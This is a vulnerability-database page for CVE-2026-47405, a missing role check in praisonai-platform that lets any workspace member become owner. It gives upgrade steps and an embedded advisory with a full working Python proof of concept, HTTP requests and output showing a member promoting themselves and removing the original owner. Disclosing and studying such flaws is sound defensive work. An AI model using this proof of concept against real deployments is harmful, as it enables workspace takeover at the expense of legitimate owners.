CVE-2026-47405: PraisonAI Platform Missing Role Checks Let Any Vulnerability
HIGHCVE-2026-47405 is a HIGH (CVSS 8.8) missing role checks let any vulnerability (CWE-284: Improper Access Control) affecting PraisonAI Platform libraries in the PyPI ecosystem. The issue involves missing role checks let any workspace member become owner and control workspace membership. Remediation is available by upgrading affected packages to version 0.1.4.
CVE-2026-47405 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-47405
To remediate this vulnerability, upgrade all affected PraisonAI Platform dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonai-platform>=0.1.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonai-platform
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-47405, inspect your installed packages using pip:
pip show praisonai-platform
Analyze the terminal output to locate any version of PraisonAI Platform in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.4), your application is affected.
Note: The pip show praisonai-platform command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In PraisonAI Platform, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-47405 Affected PraisonAI Platform Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonai-platform
|
PyPI |
< 0.1.4
|
0.1.4
|
References
Frequently Asked Questions
What is CVE-2026-47405?
Which PraisonAI Platform versions are affected?
What version fixes CVE-2026-47405?
Is praisonai-platform affected?
What is the CVSS score of CVE-2026-47405?
What CWE is associated with CVE-2026-47405?
How can I check PyPI dependencies for CVE-2026-47405?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h37g-4h4p-9x97",
"modified" : "2026-05-29T22:42:07Z",
"published" : "2026-05-29T22:42:07Z",
"aliases" : [ "CVE-2026-47405" ],
"summary" : "PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership",
"details" : "### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members' roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n workspace_id: str,\n user: AuthIdentity = Depends(get_current_user),\n session: AsyncSession = Depends(get_db),\n min_role: str = \"member\",\n) -> AuthIdentity:\n ...\n has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST /workspaces/{workspace_id}/members\nPATCH /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n member = await self.get(workspace_id, user_id)\n member.role = new_role\n\nasync def remove(...):\n member = await self.get(workspace_id, user_id)\n await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -> None:\n expected = {\n PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n 'min_role: str = \"member\"',\n \"member_svc.has_role(workspace_id, user.id, min_role)\",\n ],\n PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n '@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)',\n '@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)',\n '@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',\n '@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)',\n ],\n PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n \"member.role = new_role\",\n \"await self._session.delete(member)\",\n ],\n }\n\n for path, needles in expected.items():\n text = path.read_text(encoding=\"utf-8\")\n for needle in needles:\n if needle not in text:\n raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -> int:\n if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n raise SystemExit(\"missing local PraisonAI source tree\")\n\n verify_source()\n\n sys.path.insert(0, str(PLATFORM_ROOT))\n sys.path.insert(0, str(AGENTS_ROOT))\n\n # Minimal passlib stub for local replay environments where passlib is not installed.\n # This keeps the PoC focused on the authorization bug rather than dependency setup.\n if \"passlib\" not in sys.modules:\n passlib_pkg = types.ModuleType(\"passlib\")\n passlib_pkg.__path__ = []\n sys.modules[\"passlib\"] = passlib_pkg\n\n if \"passlib.context\" not in sys.modules:\n passlib_context = types.ModuleType(\"passlib.context\")\n\n class _CryptContext:\n def __init__(self, *args, **kwargs):\n pass\n\n def hash(self, password: str) -> str:\n return f\"stub::{password}\"\n\n def verify(self, password: str, hashed: str) -> bool:\n return hashed == f\"stub::{password}\"\n\n passlib_context.CryptContext = _CryptContext\n sys.modules[\"passlib.context\"] = passlib_context\n\n # Keep JWT generation deterministic for the local replay.\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db.base import Base, reset_engine\n from praisonai_platform.db import base as base_mod\n\n await reset_engine()\n\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n\n base_mod._engine = engine\n base_mod._session_factory = None\n\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n suffix = uuid.uuid4().hex[:8]\n password = \"Password123!\"\n\n transport = ASGITransport(app=app)\n\n async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n # 1. Register an owner account.\n owner = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"owner_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"owner_{suffix}\",\n },\n )\n\n # 2. Register a low-privilege member account.\n member = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"member_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"member_{suffix}\",\n },\n )\n\n # 3. Register a third attacker-controlled account.\n extra = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"extra_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"extra_{suffix}\",\n },\n )\n\n owner_json = owner.json()\n member_json = member.json()\n extra_json = extra.json()\n\n owner_headers = {\"Authorization\": f\"Bearer {owner_json['token']}\"}\n member_headers = {\"Authorization\": f\"Bearer {member_json['token']}\"}\n\n # 4. Create a workspace as the owner.\n workspace = await client.post(\n \"/api/v1/workspaces/\",\n json={\n \"name\": f\"ws-{suffix}\",\n \"slug\": f\"ws-{suffix}\",\n \"description\": \"rbac bypass poc\",\n },\n headers=owner_headers,\n )\n\n workspace_id = workspace.json()[\"id\"]\n\n # 5. Owner adds the second user as a normal low-privilege member.\n added_member = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\n \"user_id\": member_json[\"user\"][\"id\"],\n \"role\": \"member\",\n },\n headers=owner_headers,\n )\n\n # 6. Low-privilege member self-promotes to owner.\n promoted = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}\",\n json={\n \"role\": \"owner\",\n },\n headers=member_headers,\n )\n\n # 7. The same formerly-low-privilege member adds a third account as owner.\n added_owner = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\n \"user_id\": extra_json[\"user\"][\"id\"],\n \"role\": \"owner\",\n },\n headers=member_headers,\n )\n\n # 8. The same account removes the original owner.\n removed_original_owner = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}\",\n headers=member_headers,\n )\n\n # 9. Confirm remaining membership state.\n remaining_members = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n headers=member_headers,\n )\n\n remaining_roles = [m[\"role\"] for m in remaining_members.json()]\n\n print(f\"[poc] owner_status={owner.status_code}\")\n print(f\"[poc] member_status={member.status_code}\")\n print(f\"[poc] extra_status={extra.status_code}\")\n print(f\"[poc] workspace_status={workspace.status_code}\")\n print(f\"[poc] add_status={added_member.status_code} role={added_member.json()['role']}\")\n print(f\"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}\")\n print(f\"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}\")\n print(f\"[poc] remove_original_owner_status={removed_original_owner.status_code}\")\n print(f\"[poc] remaining_roles={remaining_roles}\")\n\n if promoted.status_code != 200 or promoted.json()[\"role\"] != \"owner\":\n raise SystemExit(\"[poc] MISS: low-privilege member did not become owner\")\n\n if added_owner.status_code != 201 or added_owner.json()[\"role\"] != \"owner\":\n raise SystemExit(\"[poc] MISS: promoted attacker could not add a new owner\")\n\n if removed_original_owner.status_code != 204:\n raise SystemExit(\"[poc] MISS: promoted attacker could not remove the original owner\")\n\n if remaining_roles.count(\"owner\") < 2:\n raise SystemExit(\"[poc] MISS: expected attacker-controlled owners after takeover\")\n\n print(\"[poc] HIT: low-privilege member became owner and took over workspace membership\")\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(asyncio.run(main()))\n```\n\n#### Observed output\n\n```text\n[poc] owner_status=201\n[poc] member_status=201\n[poc] extra_status=201\n[poc] workspace_status=201\n[poc] add_status=201 role=member\n[poc] promote_status=200 role=owner\n[poc] add_owner_status=201 role=owner\n[poc] remove_original_owner_status=204\n[poc] remaining_roles=['owner', 'owner']\n[poc] HIT: low-privilege member became owner and took over workspace membership\n```\n\n#### Expected secure behavior\n\nThe following request should be rejected when made by a plain `member`:\n\n```http\nPATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}\nAuthorization: Bearer <member_token>\nContent-Type: application/json\n\n{\n \"role\": \"owner\"\n}\n```\n\nExpected response:\n\n```text\n403 Forbidden\n```\n\n#### Actual vulnerable behavior\n\nThe request succeeds:\n\n```text\nHTTP 200\nrole = owner\n```\n\nThe same account can then add attacker-controlled owners and remove the original owner.\n\n### Impact\n\nA low-privilege workspace member can fully take over a workspace.\n\nImpact includes:\n\n* self-promoting from `member` to `owner` or `admin`;\n* granting `owner` or `admin` to attacker-controlled accounts;\n* changing other members' roles;\n* removing legitimate owners or members;\n* modifying workspace metadata and settings;\n* deleting the workspace;\n* taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.\n\nThe attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonai-platform"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.1.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.1.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-862" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-29T22:42:07Z",
"nvd_published_at" : null
}
}